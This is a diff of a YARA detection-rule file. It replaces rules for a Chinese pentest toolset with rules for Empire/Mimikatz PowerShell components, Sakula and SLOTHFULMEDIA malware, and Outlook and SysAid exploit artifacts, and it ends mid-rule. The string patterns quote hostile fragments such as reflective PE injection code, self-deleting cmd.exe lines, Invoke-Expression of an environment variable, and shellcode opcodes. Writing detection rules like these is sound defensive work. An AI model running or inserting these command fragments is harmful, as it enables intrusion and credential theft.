 	strings:
-		$s0 = "HEAD9 /" ascii
-		$s1 = "logic_er" fullword ascii
-		$s6 = "proggam" fullword ascii
-		$s16 = "DtcGetTransactionManagerExA" fullword ascii
-		$s17 = "GetUserNameA" fullword ascii
-		$s18 = "OLEAUT" fullword ascii
+		$s1 = "Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\\\')[-1].Equals('System.dll') }" fullword ascii
+		$s2 = "# Get a handle to the module specified" fullword ascii
+		$s3 = "$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))" fullword ascii
+		$s4 = "$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1276KB and all of them
+		( uint16(0)==0x7566 and filesize <4000KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Mysql_Injectv1_1_Creak : FILE
+rule SIGNATURE_BASE_Empire_Invoke_Credentialinjection_Invoke_Mimikatz_Gen : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file mysql_injectV1.1_Creak.exe"
+		description = "Detects Empire component - from files Invoke-CredentialInjection.ps1, Invoke-Mimikatz.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "39025a57-557a-53c0-bfdb-81fe83f824af"
-		date = "2015-06-23"
+		id = "d938aadf-6924-5964-9b5a-6bd1b817349f"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L66-L81"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a1f066789f48a76023598c5777752c15f91b76b0"
-		logic_hash = "f61557216a7e90ff9655ad8aea4a9adf0e4435c7a3f7958423e46fd2265bad07"
-		score = 70
-		quality = 85
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L547-L563"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3210b4407c3209a20d74c8c5af66077cc9b902912ae49253883b7acd87eef1f9"
+		score = 75
+		quality = 60
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
+		hash2 = "4725a57a5f8b717ce316f104e9472e003964f8eae41a67fd8c16b4228e3d00b3"
 
 	strings:
-		$s0 = "1http://192.169.200.200:2217/mysql_inject.php?id=1" fullword ascii
-		$s12 = "OnGetPassword" fullword ascii
+		$s1 = "$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle" fullword ascii
+		$s2 = "$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <5890KB and all of them
+		( uint16(0)==0x7566 and filesize <4000KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_CN_Honker_ASP_Wshell : FILE
+rule SIGNATURE_BASE_Empire_Invoke_Gen : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file wshell.txt"
+		description = "Detects Empire component - from files Invoke-DCSync.ps1, Invoke-PSInject.ps1, Invoke-ReflectivePEInjection.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "028136cd-129b-5d58-a4c2-ba730a798c06"
-		date = "2015-06-23"
+		id = "913f971d-e4e3-55e9-904b-82b25a4e6f0f"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L83-L100"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3ae33c835e7ea6d9df74fe99fcf1e2fb9490c978"
-		logic_hash = "f6f83acb76248a1b00f1acac621e68888c93b34d4813d8f8613d5d9095c53a8a"
-		score = 70
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L565-L582"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "11d00ea1f40d34cfd3417db337a01eca39b0e77049f74f0c591cd1d388a8d194"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "a3428a7d4f9e677623fadff61b2a37d93461123535755ab0f296aa3b0396eb28"
+		hash2 = "61e5ca9c1e8759a78e2c2764169b425b673b500facaca43a26c69ff7e09f62c4"
+		hash3 = "eaff29dd0da4ac258d85ecf8b042d73edb01b4db48c68bded2a8b8418dc688b5"
 
 	strings:
-		$s0 = "<%@ LANGUAGE = VBScript.Encode %><%" fullword ascii
-		$s1 = "UserPass="
-		$s2 = "VerName="
-		$s3 = "StateName="
+		$s1 = "$Shellcode1 += 0x48" fullword ascii
+		$s2 = "$PEHandle = [IntPtr]::Zero" fullword ascii
 
 	condition:
-		uint16(0)==0x253c and filesize <200KB and all of them
+		( uint16(0)==0x7566 and filesize <3000KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Exp_Iis7 : FILE
+rule SIGNATURE_BASE_Empire_Powershell_Framework_Gen5 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file iis7.exe"
+		description = "Detects Empire component"
 		author = "Florian Roth (Nextron Systems)"
-		id = "edfafc9a-032a-5ccb-9a1f-faeab0dfa31d"
-		date = "2015-06-23"
+		id = "4c23592e-5788-5b84-995a-028142cbc52f"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L102-L119"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0a173c5ece2fd4ac8ecf9510e48e95f43ab68978"
-		logic_hash = "91ceec96297e5cc027e261fd708899787b9be4ac15e209e0734a3b8563ae31b5"
-		score = 70
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L584-L601"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "115fffabb09ed00ab46c6f980c3a7727070a303cafa900cc1ce04e3999b6b70e"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
+		hash2 = "61e5ca9c1e8759a78e2c2764169b425b673b500facaca43a26c69ff7e09f62c4"
+		hash3 = "eaff29dd0da4ac258d85ecf8b042d73edb01b4db48c68bded2a8b8418dc688b5"
+
+	strings:
+		$s1 = "if ($ExeArgs -ne $null -and $ExeArgs -ne '')" fullword ascii
+		$s2 = "$ExeArgs = \"ReflectiveExe $ExeArgs\"" fullword ascii
+
+	condition:
+		( uint16(0)==0x7566 and filesize <1000KB and 1 of them ) or all of them
+}
+rule SIGNATURE_BASE_Malware_Sakula_Xorloop : FILE
+{
+	meta:
+		description = "XOR loops from Sakula malware"
+		author = "David Cannings"
+		id = "9349b7e4-560c-5d8b-94d9-cbb9fd09e132"
+		date = "2016-06-13"
+		modified = "2023-01-27"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sakula.yar#L1-L18"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fc6497fe708dbda9355139721b6181e7"
+		logic_hash = "b3c3131693e18ce2cf26786a93b61d39d90703d8c827de1340f85377fe7b59de"
+		score = 75
+		quality = 85
+		tags = "FILE"
+
+	strings:
+		$opcodes_decode_loop01 = { 31 C0 8A 04 0B 3C 00 74 09 38 D0 74 05 30 D0 88 04 0B }
+		$opcodes_decode_loop02 = { 8B 45 08 8D 0C 02 8A 01 84 C0 74 08 3C ?? 74 04 34 ?? 88 01 }
+
+	condition:
+		uint16(0)==0x5A4D and any of ($opcodes*)
+}
+rule SIGNATURE_BASE_Malware_Sakula_Memory
+{
+	meta:
+		description = "Sakula malware - strings after unpacking (memory rule)"
+		author = "David Cannings"
+		id = "328e3707-d11d-5b7f-bec4-18a42a2c658b"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sakula.yar#L20-L45"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b3852b9e7f2b8954be447121bb6b65c3"
+		logic_hash = "ba6d93a1fc5fd81748eb462fc55b681987126ba853ddb677a5f1f9b74ba5cde8"
+		score = 75
+		quality = 85
+		tags = ""
+
+	strings:
+		$str01 = "cmd.exe /c ping 127.0.0.1 & del \"%s\""
+		$str02 = "cmd.exe /c rundll32 \"%s\" Play \"%s\""
+		$str03 = "Mozilla/4.0+(compatible;+MSIE+8.0;+Windows+NT+5.1;+SV1)"
+		$str04 = "cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c \"%s\""
+		$str05 = "Self Process Id:%d"
+		$str06 = "%d_%d_%d_%s"
+		$str07 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)"
+		$str08 = "cmd.exe /c rundll32 \"%s\" ActiveQvaw \"%s\""
+		$opcodes01 = { 83 F9 00 74 0E 31 C0 8A 03 D0 C0 34 ?? 88 03 49 43 EB ED }
+		$opcodes02 = { 31 C0 8A 04 13 32 01 83 F8 00 75 0E 83 FA 00 74 04 49 4A }
+
+	condition:
+		4 of them
+}
+rule SIGNATURE_BASE_Malware_Sakula_Shellcode
+{
+	meta:
+		description = "Sakula shellcode - taken from decoded setup.msi but may not be unique enough to identify Sakula"
+		author = "David Cannings"
+		id = "147e4894-7877-5367-9f6b-588eb7f0379a"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sakula.yar#L47-L80"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0e84d91cd1bb0455ac7d2ca78583510388f39cebd95523c5f6f173a50e0c1951"
+		score = 75
+		quality = 85
+		tags = ""
 
 	strings:
-		$s0 = "\\\\localhost" fullword ascii
-		$s1 = "iis.run" fullword ascii
-		$s3 = ">Could not connecto %s" fullword ascii
-		$s4 = "WinSta0\\Default" fullword ascii
+		$opcodes01 = { 55 89 E5 E8 00 00 00 00 58 83 C0 06 C9 C3 }
+		$opcodes02 = { 8B 5E 3C 8B 5C 1E 78 8B 4C 1E 20 53 8B 5C 1E 24 01 F3 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <60KB and all of them
+		any of them
 }
-rule SIGNATURE_BASE_CN_Honker_Segmentweapon : FILE
+rule SIGNATURE_BASE_SUSP_Macro_Staroffice : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file SegmentWeapon.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e1b6f721-4c4d-50f2-9ed6-f38e8e7ea4ab"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L121-L136"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "494ef20067a7ce2cc95260e4abc16fcfa7177fdf"
-		logic_hash = "9afb70a3ae158b7abbda6725b8c9901121b78fa0e874db12b4ac08bf59b26fb5"
-		score = 70
-		quality = 85
+		description = "Suspicious macro in StarOffice"
+		author = "John Lambert @JohnLaTwC"
+		id = "92110a87-66b4-5fc5-b3f5-3e59ec2671b2"
+		date = "2019-02-06"
+		modified = "2021-05-27"
+		reference = "https://twitter.com/JohnLaTwC/status/1093259873993732096"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_macro_staroffice_suspicious.yar#L1-L38"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "49385335488fa0a598ed48203d9483c5c2f53ae287e003a8cf7d64d56280e62a"
+		score = 60
+		quality = 81
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "8495d37825dab8744f7d2c8049fc6b70b1777b9184f0abe69ce314795480ce39"
+		hash2 = "25b4214da1189fd30d3de7c538aa8b606f22c79e50444e5733fb1c6d23d71fbe"
+		hash3 = "322f314102f67a16587ab48a0f75dfaf27e4b044ffdc3b88578351c05b4f39db"
+		hash4 = "705429725437f7e0087a6159708df97992abaadff0fa48fdf25111d34a3e2f20"
+		hash5 = "7141d94e827d3b24810813d6b2e3fb851da0ee2958ef347154bc28153b23874a"
+		hash6 = "7c0e85c0a4d96080ca341d3496743f0f113b17613660812d40413be6d453eab4"
+		hash7 = "8d59f1e2abcab9efb7f833d478d1d1390e7456092f858b656ee0024daf3d1aa3"
+		hash8 = "9846b942d9d1e276c95361180e9326593ea46d3abcce9c116c204954bbfe3fdc"
+		hash9 = "aa0c83f339c8c16ad21dec41e4605d4e327adbbb78827dcad250ed64d2ceef1c"
+		hash10 = "b0be54c7210b06e60112a119c235e23c9edbe40b1c1ce1877534234f82b6b302"
+		hash11 = "bf581ebb96b8ca4f254ab4d200f9a053aff8187715573d9a1cbd443df0f554e3"
+		hash12 = "de45634064af31cb6768e4912cac284a76a6e66d398993df1aeee8ce26e0733b"
 
 	strings:
-		$s0 = "C:\\WINDOWS\\system32\\msvbvm60.dll\\3" fullword ascii
-		$s1 = "http://www.nforange.com/inc/1.asp?" fullword wide
+		$r1 = "StarBasic"
+		$r2 = "</script:module>"
+		$s1 = "Shell" nocase
+		$s2 = ".Run" nocase
+		$s3 = ".PutInClipboard" nocase
+		$s4 = "powershell" nocase
+		$fp1 = "LibreOffice project" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <1MB and uint32be(0)==0x3c3f786d and all of ($r*) and 1 of ($s*) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_CN_Honker_Alien_Iispwd : FILE
+rule SIGNATURE_BASE_EXPL_CVE_2024_21413_Microsoft_Outlook_RCE_Feb24 : CVE_2024_21413 FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file iispwd.vbs"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e561c548-c656-5528-a2a8-2798a59ac6bf"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L138-L153"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5d157a1b9644adbe0b28c37d4022d88a9f58cedb"
-		logic_hash = "16dc6ec4b668fdc43e3a9a8ea31ad0caa1a80b1015ab60eec0eb76bfacd69c5f"
-		score = 70
+		description = "Detects emails that contain signs of a method to exploit CVE-2024-21413 in Microsoft Outlook"
+		author = "X__Junior, Florian Roth"
+		id = "4512ca7b-0755-565e-84f1-596552949aa5"
+		date = "2024-02-17"
+		modified = "2024-02-19"
+		reference = "https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_outlook_cve_2024_21413.yar#L2-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "06cfafe0b92949e493dca6d54f671d0607242d97341144b69f563a0cc24dc6a1"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "CVE-2024-21413, FILE"
 
 	strings:
-		$s0 = "set IIs=objservice.GetObject(\"IIsWebServer\",childObjectName)" fullword ascii
-		$s1 = "wscript.echo \"from : http://www.xxx.com/\" &vbTab&vbCrLf" fullword ascii
+		$a1 = "Subject: "
+		$a2 = "Received: "
+		$xr1 = /file:\/\/\/\\\\[^"']{6,600}\.(docx|txt|pdf|xlsx|pptx|odt|etc|jpg|png|gif|bmp|tiff|svg|mp4|avi|mov|wmv|flv|mkv|mp3|wav|aac|flac|ogg|wma|exe|msi|bat|cmd|ps1|zip|rar|7z|targz|iso|dll|sys|ini|cfg|reg|html|css|java|py|c|cpp|db|sql|mdb|accdb|sqlite|eml|pst|ost|mbox|htm|php|asp|jsp|xml|ttf|otf|woff|woff2|rtf|chm|hta|js|lnk|vbe|vbs|wsf|xls|xlsm|xltm|xlt|doc|docm|dot|dotm)!/
 
 	condition:
-		filesize <3KB and all of them
+		filesize <1000KB and all of ($a*) and 1 of ($xr*)
 }
-rule SIGNATURE_BASE_CN_Honker_Md5Cracktools : FILE
+rule SIGNATURE_BASE_APT_MAL_SLOTHFULMEDIA_Oct20_1 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file Md5CrackTools.exe"
+		description = "Detects SLOTHFULMEDIA malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "16e04a66-0f6f-5b94-97c3-df62aa9406a9"
-		date = "2015-06-23"
+		id = "cc413225-f084-5859-bc27-04eb018d8894"
+		date = "2020-10-01"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L155-L170"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9dfd9c9923ae6f6fe4cbfa9eb69688269285939c"
-		logic_hash = "a176393c0324bcc634a31c261aa6b528fb5a5893c40a5534b34253a1922c8285"
-		score = 70
+		reference = "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_iamtheking.yar#L2-L48"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e50bda40eb05767e0903c3d8dd62b4e0290d89740c82c8b7f391d5763dc35156"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "64d78eec46c9ddd4b9a366de62ba0f2813267dc4393bc79e4c9a51a9bb7e6273"
+		hash2 = "927d945476191a3523884f4c0784fb71c16b7738bd7f2abd1e3a198af403f0ae"
+		hash3 = "f0503f0131040b805e106eafe64a65d9404a0e279f052237b868e456c34d36e6"
+		hash4 = "ed5258306c06d6fac9b13c99c7c8accc7f7fa0de4cf4de4f7d9eccad916555f5"
+		hash5 = "04ca010f4c8997a023fabacae230698290e3ff918a86703c5e0a2a6983b039eb"
+		hash6 = "cb2adcaaa25bb6b8a9f1c685c219f8d6d78aa5cfd65c633f4d255ff81da2c517"
 
 	strings:
-		$s1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii
-		$s2 = ",<a href='index.php?c=1&type=md5&hash=" fullword ascii
+		$xc1 = { 25 73 26 69 3D 25 64 00 48 54 54 50 2F 31 2E 31
+               00 00 00 00 50 4F 53 54 00 00 00 00 43 6F 6E 74
+               65 6E 74 2D 4C 65 6E 67 74 68 3A 20 25 64 00 00
+               5C 00 53 00 65 00 74 00 75 00 70 00 55 00 69 00
+               00 00 00 00 25 00 73 00 25 00 73 00 5F 00 25 00
+               64 00 2E 00 64 00 61 00 74 }
+		$xc2 = { 2F 76 3F 6D 3D 00 00 00 35 30 31 00 32 30 30 00
+               2A 00 2E 00 2A 00 00 00 25 00 73 00 00 00 00 00
+               53 00 65 00 44 00 65 00 62 00 75 00 67 00 50 00
+               72 00 69 00 76 00 69 00 6C 00 65 00 67 00 65 }
+		$xc3 = { 00 25 00 73 00 7C 00 25 00 73 00 7C 00 25 00 73
+               00 7C 00 25 00 73 00 00 00 5C 00 46 00 69 00 6C
+               00 74 00 65 00 72 00 33 00 2E 00 6A 00 70 00 67 }
+		$sc1 = { 25 74 65 6D 70 25 00 00 25 73 5C 25 73 2E 65 78
+               65 00 00 00 25 74 65 6D 70 25 00 00 25 73 5C 25
+               73 2E 65 78 65 }
+		$sc2 = { 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6F 63 74 65
+               74 2D 73 74 72 65 61 6D 2C 61 70 70 6C 69 63 61
+               74 69 6F 6E 2F 78 68 74 6D 6C 00 00 25 73 26 69
+               3D 25 64 00 48 54 54 50 2F 31 2E 31 00 00 00 00
+               50 4F 53 54 }
+		$s1 = "%s%s_%d.dat" wide fullword
+		$s2 = "Local Security Process" wide fullword
+		$s3 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75" ascii fullword
+		$s4 = "Global%s%d" wide fullword
+		$s5 = "ExtKeyloggerStart" ascii fullword
+		$s6 = "GetExtendedTcpTable" ascii fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <4580KB and all of them
+		uint16(0)==0x5a4d and filesize <400KB and (1 of ($x*) or 3 of them ) or 4 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Coolscan_Scan : FILE
+rule SIGNATURE_BASE_Sysinternals_Tool_Anomaly : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file scan.exe"
+		description = "SysInternals Tool Anomaly - does not contain Mark Russinovich as author"
 		author = "Florian Roth (Nextron Systems)"
-		id = "781446d2-3363-56c3-9767-c7ac70047b68"
-		date = "2015-06-23"
+		id = "b676726b-7ecd-52ed-bdec-3d81b7596246"
+		date = "2016-12-06"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L172-L187"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e1c5fb6b9f4e92c4264c7bea7f5fba9a5335c328"
-		logic_hash = "89c7d24d821e907f79ab5630eed13275c5216cff6bf203b5c8f66bb1a178039b"
-		score = 70
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_sysinternals_anomaly.yar#L10-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "760795a51965197bd101ffbf0f7c8cfbbb16d2f443d0941de4a75c8f33f4cad0"
+		score = 50
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "User-agent:\\s{0,32}(huasai|huasai/1.0|\\*)" fullword ascii
-		$s1 = "scan web.exe" fullword wide
+		$s1 = "Software\\Sysinternals\\%s" fullword ascii
+		$n1 = "Mark Russinovich" wide ascii
+		$nfp1 = "<<<Obsolete>>>" fullword wide
+		$nfp2 = "BGInfo - Wallpaper text configurator" wide
+		$nfp3 = "usage: movefile [source] [dest]" wide
+		$nfp4 = "LoadOrder information has been copied" wide
+		$nfp5 = "Cache working set cleared" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3680KB and all of them
+		( uint16(0)==0x5a4d and filesize <1000KB and $s1 and not $n1 and not 1 of ($nfp*))
 }
-rule SIGNATURE_BASE_CN_Honker_Mempodipper2_6 : FILE
+rule SIGNATURE_BASE_APT_PS1_Sysaid_EXPL_Forensicartifacts_Nov23_1 : SCRIPT CVE_2023_47246
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file mempodipper2.6.39"
-		author = "Florian Roth (Nextron Systems)"
-		id = "43a27968-adab-5f27-9b8c-8f0f895f0576"
-		date = "2015-06-23"
+		description = "Detects forensic artifacts found in attacks on SysAid on-prem software exploiting CVE-2023-47246"
+		author = "Florian Roth"
+		id = "df7997d3-9309-58b3-8cd7-de9fea36d3c7"
+		date = "2023-11-09"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L189-L203"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ba2c79911fe48660898039591e1742b3f1a9e923"
-		logic_hash = "1a2c42757199818b94a73b9faff3380911655992ef3214a33a220eac15850c4b"
-		score = 70
+		reference = "https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_sysaid_cve_2023_47246.yar#L2-L15"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "85efeea88961ca99b22004726d88efc46c748273b9a0b3be674f4cbb12cd3dd1"
+		score = 85
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "SCRIPT, CVE-2023-47246"
 
 	strings:
-		$s0 = "objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed" ascii
+		$x1 = "if ($s -match '^(Sophos).*\\.exe\\s') {echo $s; $bp++;}" ascii wide
+		$x2 = "$s=$env:SehCore;$env:SehCore=\"\";Invoke-Expression $s;" ascii wide
 
 	condition:
-		filesize <30KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_CN_Honker_COOKIE_Cookie : FILE
+rule SIGNATURE_BASE_MAL_Loader_Turtleloader_Nov23 : CVE_2023_47246 FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file CooKie.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5f85bb0f-6df2-512c-ba1a-8a74c1a55563"
-		date = "2015-06-23"
+		description = "Detects Tutle loader used in attacks against SysAid CVE-2023-47246"
+		author = "Florian Roth"
+		id = "c7b5d03d-52c4-59b4-ac69-55e532a21340"
+		date = "2023-11-09"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L205-L220"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f7727160257e0e716e9f0cf9cdf9a87caa986cde"
-		logic_hash = "6d942e53a253cb157e535f86ca457c93a6039b2c5ebb3969dc3e271242b478d4"
-		score = 70
+		reference = "https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_sysaid_cve_2023_47246.yar#L17-L38"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "14a1636ed4dc3c897fefe53946e67339f91da9e2fbed2c99b9b4119dcc2649c0"
+		score = 85
 		quality = 85
